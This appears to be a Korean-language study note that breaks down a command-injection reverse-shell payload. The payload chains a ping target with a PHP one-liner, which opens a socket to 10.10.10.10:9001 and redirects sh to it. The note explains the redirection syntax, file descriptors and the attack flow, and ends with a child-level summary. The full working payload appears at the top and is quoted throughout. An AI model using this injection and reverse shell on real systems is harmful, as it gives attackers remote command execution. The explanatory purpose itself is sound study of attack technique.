✅ 전체 명령어 분석
127.0.0.1 && php -r '$sock=fsockopen("10.10.10.10",9001);exec("sh <&3 >&3 2>&3");'
🔷 1. 전체 구성 요약
| 구성 요소 | 역할 |
|---|
127.0.0.1 | 항상 성공하는 명령 (의미 없는 ping) |
&& | 앞 명령이 성공하면 뒤 실행 |
php -r '...' | PHP 인라인 코드 실행 |
fsockopen(...) | 공격자와 TCP 연결 (소켓 열기) |
exec("sh <&3 >&3 2>&3") | 셸을 실행하되, 모든 입출력을 fd 3으로 리디렉션 |
🔷 2. 핵심 파트 상세 분석
📍 sh <&3 >&3 2>&3
이 명령어가 핵심입니다.
하나씩 뜯어보면:
✅ sh
- /bin/sh: POSIX 표준 셸 실행
- 새로운 셸 프로세스를 실행하여 명령어를 처리할 수 있도록 함
- 보통 dash, bash, ash 등의 기본 셸에 연결됨
- 이
sh는 리버스쉘의 핵심, 명령어 실행기 역할
✅ <&3, >&3, 2>&3
각각 셸의 입출력을 **파일 디스크립터 3번(fd 3)**으로 리디렉션합니다.
| 구문 | 설명 |
|---|
<&3 | **표준 입력(stdin, 0번)**을 FD 3번에서 받음 |
>&3 | **표준 출력(stdout, 1번)**을 FD 3번으로 보냄 |
2>&3 | **표준 에러(stderr, 2번)**을 FD 3번으로 보냄 |
🔷 3. 여기서 &의 의미
📌 &는 두 가지 문맥에서 완전히 다름
| 사용 형태 | 문맥 | 의미 |
|---|
& (명령 끝) | 쉘 | 백그라운드 실행 |
>&3, <&3, 2>&3 | 리디렉션 | FD(파일 디스크립터)로 리디렉션 |
예시 비교
sleep 10 &
sh >&3
⚠️ &3에서 &는 "숫자 3을 FD로 해석해라"는 신호입니다.
| 잘못된 방식 | 잘못된 해석 |
|---|
>3 | FD가 아닌, 이름이 3인 파일로 출력될 수 있음 |
>&3 | 정확히 FD 3번을 의미 (소켓, TCP 등) ✔️ |
🔷 4. 파일 디스크립터 (FD) 정리
| FD 번호 | 이름 | 의미 | 기본 연결 |
|---|
0 | stdin | 표준 입력 | 키보드 |
1 | stdout | 표준 출력 | 터미널 화면 |
2 | stderr | 표준 에러 출력 | 터미널 화면 (에러 메시지) |
3 이상 | 사용자 FD | 네트워크, 파일, 소켓 등 | 예: fsockopen(), /dev/tcp/... |
📌 이 리버스쉘에서는 FD 3번이 공격자와 연결된 TCP 소켓
그래서:
- 입력: 공격자가 키보드로 친 명령어가 FD 3 → 셸의 stdin으로 감
- 출력: 셸 결과가 stdout → FD 3 → 공격자의 화면으로 전달
🎯 전체 흐름 요약
- PHP로 공격자의 IP(
10.10.10.10:9001)에 TCP 소켓 연결
- PHP 내부적으로 그 소켓은 FD 3번에 할당됨
exec("sh <&3 >&3 2>&3") 실행
- 셸(
sh)의 입출력을 모두 FD 3번으로 리디렉션
- 공격자는 자기 PC에서 명령을 보내고 결과를 수신 → 리버스쉘 완성
🧒 어린이 요약
컴퓨터가 평소엔 키보드(0번), 화면(1번), 에러창(2번)으로 말해요.
그런데 해커가 자기 전화선을 컴퓨터에 3번 구멍에 꽂아놨어요.
그래서 sh라는 말하는 프로그램한테
“이제부터 말도 듣고 대답도 이 전화선(3번)으로 해~” 라고 시킨 거예요!
그래서 해커랑 컴퓨터가 몰래 전화로 대화하는 거예요.
✅ 요약 정리표
| 구성 요소 | 설명 |
|---|
sh | 명령어 실행 셸 |
<&3 | 입력을 FD 3번으로부터 받음 |
>&3 | 출력을 FD 3번으로 보냄 |
2>&3 | 에러 출력도 FD 3번으로 보냄 |
& | 리디렉션 문법에서 FD로 해석하라는 표시 |
0/1/2 | 표준 입출력 디스크립터 (키보드/화면/에러) |
3 | 새로 연결된 TCP 소켓 (해커와 연결된 통신선) |